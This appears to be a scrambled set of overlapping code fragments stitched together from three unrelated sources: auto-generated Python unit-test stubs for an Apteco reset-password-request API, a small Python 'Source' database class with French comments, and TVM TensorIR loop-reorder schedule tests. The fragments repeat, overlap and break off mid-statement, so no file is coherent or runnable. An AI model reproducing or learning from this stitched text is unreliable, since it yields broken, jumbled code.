"class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\" def setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa:",
"Returns all the current reset password requests in the system. # noqa: E501",
"# noqa: E501 from apteco_api.rest import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\"",
"pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_create_reset_password_request Creates a new reset password requests,",
"check that the provided email address exists and then issue a confirmation notification",
"Creates a new reset password requests, which will check that the provided email",
"Requires OrbitAdmin: Returns all the current reset password requests in the system. #",
"tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_confirm_reset_password_request Confirms a given reset password",
"apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501 def tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_confirm_reset_password_request",
"import absolute_import import unittest import apteco_api from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi # noqa: E501",
"case for user_reset_password_requests_confirm_reset_password_request Confirms a given reset password request and changes the password",
"that the provided email address exists and then issue a confirmation notification #",
"pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns details for a",
"case for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns all the current reset password requests in",
"E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns all",
"from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi # noqa: E501 from apteco_api.rest import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase):",
"coding: utf-8 \"\"\" Apteco API An API to allow access to Apteco Marketing",
"\"\"\"Test case for user_reset_password_requests_confirm_reset_password_request Confirms a given reset password request and changes the",
"\"\"\"Test case for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns all the current reset password requests",
"for user_reset_password_requests_create_reset_password_request Creates a new reset password requests, which will check that the",
"then issue a confirmation notification # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test",
"utf-8 \"\"\" Apteco API An API to allow access to Apteco Marketing Suite",
"password request and changes the password # noqa: E501 \"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self):",
"apteco_api.rest import ApiException class TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\" def setUp(self): self.api =",
"user_reset_password_requests_confirm_reset_password_request Confirms a given reset password request and changes the password # noqa:",
"def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_create_reset_password_request Creates a new reset password requests, which",
"stubs\"\"\" def setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501 def tearDown(self): pass def",
"which will check that the provided email address exists and then issue a",
"# noqa: E501 The version of the OpenAPI document: v2 Contact: <EMAIL> Generated",
"the password # noqa: E501 \"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_create_reset_password_request",
"apteco_api from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi # noqa: E501 from apteco_api.rest import ApiException class",
"def setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501 def tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self):",
"document: v2 Contact: <EMAIL> Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import",
"Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import apteco_api from",
"details for a given reset password request # noqa: E501 \"\"\" pass def",
"noqa: E501 def tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_confirm_reset_password_request Confirms a",
"E501 def tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_confirm_reset_password_request Confirms a given",
"Confirms a given reset password request and changes the password # noqa: E501",
"reset password request # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for",
"test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_confirm_reset_password_request Confirms a given reset password request and changes",
"reset password requests, which will check that the provided email address exists and",
"API An API to allow access to Apteco Marketing Suite resources # noqa:",
"\"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns details for",
"Requires OrbitAdmin: Returns details for a given reset password request # noqa: E501",
"given reset password request # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case",
"TestUserResetPasswordRequestsApi(unittest.TestCase): \"\"\"UserResetPasswordRequestsApi unit test stubs\"\"\" def setUp(self): self.api = apteco_api.api.user_reset_password_requests_api.UserResetPasswordRequestsApi() # noqa: E501",
"# noqa: E501 def tearDown(self): pass def test_user_reset_password_requests_confirm_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_confirm_reset_password_request Confirms",
"resources # noqa: E501 The version of the OpenAPI document: v2 Contact: <EMAIL>",
"requests in the system. # noqa: E501 \"\"\" pass if __name__ == '__main__':",
"import unittest import apteco_api from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi # noqa: E501 from apteco_api.rest",
"Contact: <EMAIL> Generated by: https://openapi-generator.tech \"\"\" from __future__ import absolute_import import unittest import",
"__future__ import absolute_import import unittest import apteco_api from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi # noqa:",
"the OpenAPI document: v2 Contact: <EMAIL> Generated by: https://openapi-generator.tech \"\"\" from __future__ import",
"exists and then issue a confirmation notification # noqa: E501 \"\"\" pass def",
"reset password request and changes the password # noqa: E501 \"\"\" pass def",
"and then issue a confirmation notification # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self):",
"E501 The version of the OpenAPI document: v2 Contact: <EMAIL> Generated by: https://openapi-generator.tech",
"# noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin:",
"version of the OpenAPI document: v2 Contact: <EMAIL> Generated by: https://openapi-generator.tech \"\"\" from",
"test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns details for a given reset",
"Apteco Marketing Suite resources # noqa: E501 The version of the OpenAPI document:",
"noqa: E501 \"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_create_reset_password_request Creates a new",
"and changes the password # noqa: E501 \"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case",
"user_reset_password_requests_create_reset_password_request Creates a new reset password requests, which will check that the provided",
"address exists and then issue a confirmation notification # noqa: E501 \"\"\" pass",
"from __future__ import absolute_import import unittest import apteco_api from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi #",
"def test_user_reset_password_requests_get_reset_password_requests(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_requests Requires OrbitAdmin: Returns all the current reset",
"new reset password requests, which will check that the provided email address exists",
"password requests in the system. # noqa: E501 \"\"\" pass if __name__ ==",
"test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_create_reset_password_request Creates a new reset password requests, which will",
"unittest import apteco_api from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi # noqa: E501 from apteco_api.rest import",
"issue a confirmation notification # noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case",
"\"\"\"Test case for user_reset_password_requests_create_reset_password_request Creates a new reset password requests, which will check",
"import apteco_api from apteco_api.api.user_reset_password_requests_api import UserResetPasswordRequestsApi # noqa: E501 from apteco_api.rest import ApiException",
"a given reset password request and changes the password # noqa: E501 \"\"\"",
"password # noqa: E501 \"\"\" pass def test_user_reset_password_requests_create_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_create_reset_password_request Creates",
"the provided email address exists and then issue a confirmation notification # noqa:",
"to allow access to Apteco Marketing Suite resources # noqa: E501 The version",
"provided email address exists and then issue a confirmation notification # noqa: E501",
"noqa: E501 \"\"\" pass def test_user_reset_password_requests_get_reset_password_request(self): \"\"\"Test case for user_reset_password_requests_get_reset_password_request Requires OrbitAdmin: Returns"
] |
[
"__init__(self, id_source = -1, designation = \"\"): \"\"\" Constructor of the Source object.",
"designation of the source :type id_source: int - not required :type designation: text",
"of the source - -1 if unknown :param designation: designation of the source",
"-*- coding: utf-8 -*- \"\"\" Created on Wed Sep 27 15:31:49 2017 @author:",
"= [] sqlObj = _Source_sql_new() results = sqlObj.select_all_sources_all_attributes() for element in results: listOfSources.append(Source(element[0],",
"Aitana,Grég, Xavier,... les sources sont les gens qui nous ont fournit les données",
"SOURCES table database By default, all FK are in the lasts positions in",
"Sources in the database :return: array of sources :rtype: array(Source) \"\"\" listOfSources =",
"\"\"\" from SQL_obj_new.Source_sql_new import _Source_sql_new class Source(object): \"\"\" This class treat the Sources",
"it exists in SOURCES table database By default, all FK are in the",
"les sources sont les gens qui nous ont fournit les données (Aitana, Grég,",
"self.id_source = id_source self.designation = designation def get_all_Sources(self): \"\"\" return an array with",
"designation: text - required \"\"\" self.id_source = id_source self.designation = designation def get_all_Sources(self):",
"= designation def get_all_Sources(self): \"\"\" return an array with all the Sources in",
"import _Source_sql_new class Source(object): \"\"\" This class treat the Sources object has it",
"15:31:49 2017 @author: <NAME> \"\"\" from SQL_obj_new.Source_sql_new import _Source_sql_new class Source(object): \"\"\" This",
"are, e.g. Aitana,Grég, Xavier,... les sources sont les gens qui nous ont fournit",
"a default value :param id_source: id of the source - -1 if unknown",
"\"\"): \"\"\" Constructor of the Source object. All the parameters have a default",
"utf-8 -*- \"\"\" Created on Wed Sep 27 15:31:49 2017 @author: <NAME> \"\"\"",
":type designation: text - required \"\"\" self.id_source = id_source self.designation = designation def",
"listOfSources = [] sqlObj = _Source_sql_new() results = sqlObj.select_all_sources_all_attributes() for element in results:",
"@author: <NAME> \"\"\" from SQL_obj_new.Source_sql_new import _Source_sql_new class Source(object): \"\"\" This class treat",
":return: array of sources :rtype: array(Source) \"\"\" listOfSources = [] sqlObj = _Source_sql_new()",
":type id_source: int - not required :type designation: text - required \"\"\" self.id_source",
"Created on Wed Sep 27 15:31:49 2017 @author: <NAME> \"\"\" from SQL_obj_new.Source_sql_new import",
"of the Source object. All the parameters have a default value :param id_source:",
"All the parameters have a default value :param id_source: id of the source",
"in the parameters declaration The sources are, e.g. Aitana,Grég, Xavier,... les sources sont",
"treat the Sources object has it exists in SOURCES table database By default,",
"default, all FK are in the lasts positions in the parameters declaration The",
"if unknown :param designation: designation of the source :type id_source: int - not",
"unknown :param designation: designation of the source :type id_source: int - not required",
"-1 if unknown :param designation: designation of the source :type id_source: int -",
"value :param id_source: id of the source - -1 if unknown :param designation:",
"-*- \"\"\" Created on Wed Sep 27 15:31:49 2017 @author: <NAME> \"\"\" from",
"listOfSources.append(Source(element[0], element[1])) return listOfSources def __str__(self): \"\"\" Ovewrite of the str method \"\"\"",
"on Wed Sep 27 15:31:49 2017 @author: <NAME> \"\"\" from SQL_obj_new.Source_sql_new import _Source_sql_new",
"les gens qui nous ont fournit les données (Aitana, Grég, Xavier,...) \"\"\" def",
"qui nous ont fournit les données (Aitana, Grég, Xavier,...) \"\"\" def __init__(self, id_source",
"Sep 27 15:31:49 2017 @author: <NAME> \"\"\" from SQL_obj_new.Source_sql_new import _Source_sql_new class Source(object):",
":rtype: array(Source) \"\"\" listOfSources = [] sqlObj = _Source_sql_new() results = sqlObj.select_all_sources_all_attributes() for",
"of the str method \"\"\" message_str = \"ID: {0:d} Name: {1}\".format(self.id_source, self.designation) return",
"= id_source self.designation = designation def get_all_Sources(self): \"\"\" return an array with all",
"the Sources in the database :return: array of sources :rtype: array(Source) \"\"\" listOfSources",
"of sources :rtype: array(Source) \"\"\" listOfSources = [] sqlObj = _Source_sql_new() results =",
"FK are in the lasts positions in the parameters declaration The sources are,",
"\"\"\" Ovewrite of the str method \"\"\" message_str = \"ID: {0:d} Name: {1}\".format(self.id_source,",
"\"\"\" self.id_source = id_source self.designation = designation def get_all_Sources(self): \"\"\" return an array",
"database By default, all FK are in the lasts positions in the parameters",
"id_source: id of the source - -1 if unknown :param designation: designation of",
"database :return: array of sources :rtype: array(Source) \"\"\" listOfSources = [] sqlObj =",
"in results: listOfSources.append(Source(element[0], element[1])) return listOfSources def __str__(self): \"\"\" Ovewrite of the str",
"__str__(self): \"\"\" Ovewrite of the str method \"\"\" message_str = \"ID: {0:d} Name:",
"array(Source) \"\"\" listOfSources = [] sqlObj = _Source_sql_new() results = sqlObj.select_all_sources_all_attributes() for element",
"the database :return: array of sources :rtype: array(Source) \"\"\" listOfSources = [] sqlObj",
"= \"\"): \"\"\" Constructor of the Source object. All the parameters have a",
"- required \"\"\" self.id_source = id_source self.designation = designation def get_all_Sources(self): \"\"\" return",
"in SOURCES table database By default, all FK are in the lasts positions",
"has it exists in SOURCES table database By default, all FK are in",
"source - -1 if unknown :param designation: designation of the source :type id_source:",
"\"\"\" Constructor of the Source object. All the parameters have a default value",
"all FK are in the lasts positions in the parameters declaration The sources",
"def __str__(self): \"\"\" Ovewrite of the str method \"\"\" message_str = \"ID: {0:d}",
"SQL_obj_new.Source_sql_new import _Source_sql_new class Source(object): \"\"\" This class treat the Sources object has",
"[] sqlObj = _Source_sql_new() results = sqlObj.select_all_sources_all_attributes() for element in results: listOfSources.append(Source(element[0], element[1]))",
"Grég, Xavier,...) \"\"\" def __init__(self, id_source = -1, designation = \"\"): \"\"\" Constructor",
"id_source = -1, designation = \"\"): \"\"\" Constructor of the Source object. All",
"parameters have a default value :param id_source: id of the source - -1",
"text - required \"\"\" self.id_source = id_source self.designation = designation def get_all_Sources(self): \"\"\"",
"2017 @author: <NAME> \"\"\" from SQL_obj_new.Source_sql_new import _Source_sql_new class Source(object): \"\"\" This class",
"results: listOfSources.append(Source(element[0], element[1])) return listOfSources def __str__(self): \"\"\" Ovewrite of the str method",
"27 15:31:49 2017 @author: <NAME> \"\"\" from SQL_obj_new.Source_sql_new import _Source_sql_new class Source(object): \"\"\"",
"class Source(object): \"\"\" This class treat the Sources object has it exists in",
"table database By default, all FK are in the lasts positions in the",
"By default, all FK are in the lasts positions in the parameters declaration",
"ont fournit les données (Aitana, Grég, Xavier,...) \"\"\" def __init__(self, id_source = -1,",
"results = sqlObj.select_all_sources_all_attributes() for element in results: listOfSources.append(Source(element[0], element[1])) return listOfSources def __str__(self):",
"in the database :return: array of sources :rtype: array(Source) \"\"\" listOfSources = []",
"class treat the Sources object has it exists in SOURCES table database By",
"lasts positions in the parameters declaration The sources are, e.g. Aitana,Grég, Xavier,... les",
"declaration The sources are, e.g. Aitana,Grég, Xavier,... les sources sont les gens qui",
"element[1])) return listOfSources def __str__(self): \"\"\" Ovewrite of the str method \"\"\" message_str",
":param designation: designation of the source :type id_source: int - not required :type",
"coding: utf-8 -*- \"\"\" Created on Wed Sep 27 15:31:49 2017 @author: <NAME>",
"listOfSources def __str__(self): \"\"\" Ovewrite of the str method \"\"\" message_str = \"ID:",
"Wed Sep 27 15:31:49 2017 @author: <NAME> \"\"\" from SQL_obj_new.Source_sql_new import _Source_sql_new class",
"_Source_sql_new class Source(object): \"\"\" This class treat the Sources object has it exists",
"positions in the parameters declaration The sources are, e.g. Aitana,Grég, Xavier,... les sources",
"sont les gens qui nous ont fournit les données (Aitana, Grég, Xavier,...) \"\"\"",
"sources sont les gens qui nous ont fournit les données (Aitana, Grég, Xavier,...)",
"Constructor of the Source object. All the parameters have a default value :param",
":param id_source: id of the source - -1 if unknown :param designation: designation",
"required \"\"\" self.id_source = id_source self.designation = designation def get_all_Sources(self): \"\"\" return an",
"return an array with all the Sources in the database :return: array of",
"This class treat the Sources object has it exists in SOURCES table database",
"get_all_Sources(self): \"\"\" return an array with all the Sources in the database :return:",
"= _Source_sql_new() results = sqlObj.select_all_sources_all_attributes() for element in results: listOfSources.append(Source(element[0], element[1])) return listOfSources",
"the parameters have a default value :param id_source: id of the source -",
"the Sources object has it exists in SOURCES table database By default, all",
"the lasts positions in the parameters declaration The sources are, e.g. Aitana,Grég, Xavier,...",
"object. All the parameters have a default value :param id_source: id of the",
"# -*- coding: utf-8 -*- \"\"\" Created on Wed Sep 27 15:31:49 2017",
"id of the source - -1 if unknown :param designation: designation of the",
"array with all the Sources in the database :return: array of sources :rtype:",
"of the source :type id_source: int - not required :type designation: text -",
"exists in SOURCES table database By default, all FK are in the lasts",
"les données (Aitana, Grég, Xavier,...) \"\"\" def __init__(self, id_source = -1, designation =",
"all the Sources in the database :return: array of sources :rtype: array(Source) \"\"\"",
"have a default value :param id_source: id of the source - -1 if",
"id_source: int - not required :type designation: text - required \"\"\" self.id_source =",
"the str method \"\"\" message_str = \"ID: {0:d} Name: {1}\".format(self.id_source, self.designation) return message_str",
"<NAME> \"\"\" from SQL_obj_new.Source_sql_new import _Source_sql_new class Source(object): \"\"\" This class treat the",
"the parameters declaration The sources are, e.g. Aitana,Grég, Xavier,... les sources sont les",
"nous ont fournit les données (Aitana, Grég, Xavier,...) \"\"\" def __init__(self, id_source =",
"object has it exists in SOURCES table database By default, all FK are",
"données (Aitana, Grég, Xavier,...) \"\"\" def __init__(self, id_source = -1, designation = \"\"):",
"- -1 if unknown :param designation: designation of the source :type id_source: int",
"return listOfSources def __str__(self): \"\"\" Ovewrite of the str method \"\"\" message_str =",
"_Source_sql_new() results = sqlObj.select_all_sources_all_attributes() for element in results: listOfSources.append(Source(element[0], element[1])) return listOfSources def",
"Ovewrite of the str method \"\"\" message_str = \"ID: {0:d} Name: {1}\".format(self.id_source, self.designation)",
"id_source self.designation = designation def get_all_Sources(self): \"\"\" return an array with all the",
"fournit les données (Aitana, Grég, Xavier,...) \"\"\" def __init__(self, id_source = -1, designation",
"\"\"\" Created on Wed Sep 27 15:31:49 2017 @author: <NAME> \"\"\" from SQL_obj_new.Source_sql_new",
"the source - -1 if unknown :param designation: designation of the source :type",
"Xavier,... les sources sont les gens qui nous ont fournit les données (Aitana,",
"designation: designation of the source :type id_source: int - not required :type designation:",
"gens qui nous ont fournit les données (Aitana, Grég, Xavier,...) \"\"\" def __init__(self,",
"required :type designation: text - required \"\"\" self.id_source = id_source self.designation = designation",
"def get_all_Sources(self): \"\"\" return an array with all the Sources in the database",
"for element in results: listOfSources.append(Source(element[0], element[1])) return listOfSources def __str__(self): \"\"\" Ovewrite of",
"def __init__(self, id_source = -1, designation = \"\"): \"\"\" Constructor of the Source",
"Source object. All the parameters have a default value :param id_source: id of",
"- not required :type designation: text - required \"\"\" self.id_source = id_source self.designation",
"\"\"\" listOfSources = [] sqlObj = _Source_sql_new() results = sqlObj.select_all_sources_all_attributes() for element in",
"an array with all the Sources in the database :return: array of sources",
"Xavier,...) \"\"\" def __init__(self, id_source = -1, designation = \"\"): \"\"\" Constructor of",
"from SQL_obj_new.Source_sql_new import _Source_sql_new class Source(object): \"\"\" This class treat the Sources object",
"in the lasts positions in the parameters declaration The sources are, e.g. Aitana,Grég,",
"sources :rtype: array(Source) \"\"\" listOfSources = [] sqlObj = _Source_sql_new() results = sqlObj.select_all_sources_all_attributes()",
"not required :type designation: text - required \"\"\" self.id_source = id_source self.designation =",
"designation def get_all_Sources(self): \"\"\" return an array with all the Sources in the",
"sqlObj.select_all_sources_all_attributes() for element in results: listOfSources.append(Source(element[0], element[1])) return listOfSources def __str__(self): \"\"\" Ovewrite",
"sources are, e.g. Aitana,Grég, Xavier,... les sources sont les gens qui nous ont",
"The sources are, e.g. Aitana,Grég, Xavier,... les sources sont les gens qui nous",
"(Aitana, Grég, Xavier,...) \"\"\" def __init__(self, id_source = -1, designation = \"\"): \"\"\"",
"default value :param id_source: id of the source - -1 if unknown :param",
"\"\"\" This class treat the Sources object has it exists in SOURCES table",
"sqlObj = _Source_sql_new() results = sqlObj.select_all_sources_all_attributes() for element in results: listOfSources.append(Source(element[0], element[1])) return",
"e.g. Aitana,Grég, Xavier,... les sources sont les gens qui nous ont fournit les",
"the Source object. All the parameters have a default value :param id_source: id",
"source :type id_source: int - not required :type designation: text - required \"\"\"",
"parameters declaration The sources are, e.g. Aitana,Grég, Xavier,... les sources sont les gens",
"Sources object has it exists in SOURCES table database By default, all FK",
"int - not required :type designation: text - required \"\"\" self.id_source = id_source",
"= sqlObj.select_all_sources_all_attributes() for element in results: listOfSources.append(Source(element[0], element[1])) return listOfSources def __str__(self): \"\"\"",
"Source(object): \"\"\" This class treat the Sources object has it exists in SOURCES",
"<reponame>diogo1790team/inphinity_DM # -*- coding: utf-8 -*- \"\"\" Created on Wed Sep 27 15:31:49",
"self.designation = designation def get_all_Sources(self): \"\"\" return an array with all the Sources",
"element in results: listOfSources.append(Source(element[0], element[1])) return listOfSources def __str__(self): \"\"\" Ovewrite of the",
"designation = \"\"): \"\"\" Constructor of the Source object. All the parameters have",
"\"\"\" def __init__(self, id_source = -1, designation = \"\"): \"\"\" Constructor of the",
"-1, designation = \"\"): \"\"\" Constructor of the Source object. All the parameters",
"are in the lasts positions in the parameters declaration The sources are, e.g.",
"the source :type id_source: int - not required :type designation: text - required",
"\"\"\" return an array with all the Sources in the database :return: array",
"array of sources :rtype: array(Source) \"\"\" listOfSources = [] sqlObj = _Source_sql_new() results",
"with all the Sources in the database :return: array of sources :rtype: array(Source)",
"= -1, designation = \"\"): \"\"\" Constructor of the Source object. All the"
] |
[
"distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY",
"= sch.get_block(\"B\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) k = sch.get_loops(block_b)[0] with",
"2.0 @tvm.script.tir def elementwise_reordered(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"= sch.get_loops(block_a) k = sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_wrong_block_var_type(): sch =",
"0:16]]) tir.store(A.data, vi * 16 + vj, 1) with tir.block([16, 16], \"B\") as",
"16 + vj, dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a: ty.handle, b: ty.handle) -> None: A",
"as [vk]: tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj, vk]",
"vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l * 16) B[vi,",
"< 100) tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj, vk,",
"as [vi, vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l",
"= tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") with tir.block([16,",
"License for the # specific language governing permissions and limitations # under the",
"dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable def test_reorder(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
"[16, 16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") with tir.block([16, 16], \"A\")",
"@tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"tir.bind(vk, k) tir.bind(vl, l) B[vi, vj, vk, vl] = A[vi, vj, vk, vl]",
"16384 + k * 128 + l < 100) tir.bind(vi, i) tir.bind(vj, j)",
"C = tir.alloc_buffer((128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i,",
"vj]: tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1) with tir.block([16,",
"(ASF) under one # or more contributor license agreements. See the NOTICE file",
"pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_c = sch.get_block(\"C\")",
"vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered2(a:",
"def elementwise_not_affine(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128,",
"debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered,",
"tir.where(i * 2097152 + j * 16384 + k * 128 + l",
"[16, 16], \"float32\") for j, i in tir.grid(16, 16): with tir.block([16, 16], \"A\")",
"B = tir.match_buffer(b, (128, 128, 128, 128)) for i, j, k, l in",
"(128, 128, 128)) for i, j in tir.grid(128, 128): for k in tir.serial(0,",
"A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def opaque_access(a: ty.handle, b: ty.handle) ->",
"k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch",
"block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) k = sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k,",
"software distributed under the License is distributed on an # \"AS IS\" BASIS,",
"[vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16",
"@tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"vl] * 2.0 @tvm.script.tir def elementwise_reordered2(a: ty.handle, b: ty.handle) -> None: A =",
"16], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data,",
"for j, k, l in tir.grid(128, i, 128): with tir.block([128, 128, i, 128],",
"for i, j, k in tir.grid(128, 128, 128): with tir.block([128, 128, tir.scan_axis(0, 128)],",
"License. # pylint: disable=missing-function-docstring,missing-module-docstring import sys import pytest import tvm from tvm import",
"j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2():",
"[vk]: tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj, vk] =",
"i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b =",
"i, j, k, l in tir.grid(128, 128, 128, 8): with tir.block([128, 128, 128,",
"from tvm import tir from tvm.script import ty from tvm.tir.schedule.testing import verify_trace_roundtrip #",
"ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128)) B = tir.match_buffer(b,",
"elementwise_dependent_loop(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128))",
"sch.reorder(k, i) def test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j,",
"def elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128))",
"@tvm.script.tir def elementwise_reordered2(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"16): with tir.block([16, 16], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([])",
"i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b =",
"l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i) def test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch,",
"B = tir.match_buffer(b, (128, 128, 128, 128)) for i in tir.serial(0, 128): for",
"16], \"B\") as [vi, vj]: tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0,",
"under the License is distributed on an # \"AS IS\" BASIS, WITHOUT WARRANTIES",
"i) tir.bind(vj, j) tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj,",
"additional information # regarding copyright ownership. The ASF licenses this file # to",
"# \"License\"); you may not use this file except in compliance # with",
"with tir.block([16, 16], \"B\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16,",
"k, l = sch.get_loops(block_b) sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access():",
"Licensed to the Apache Software Foundation (ASF) under one # or more contributor",
"tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi,",
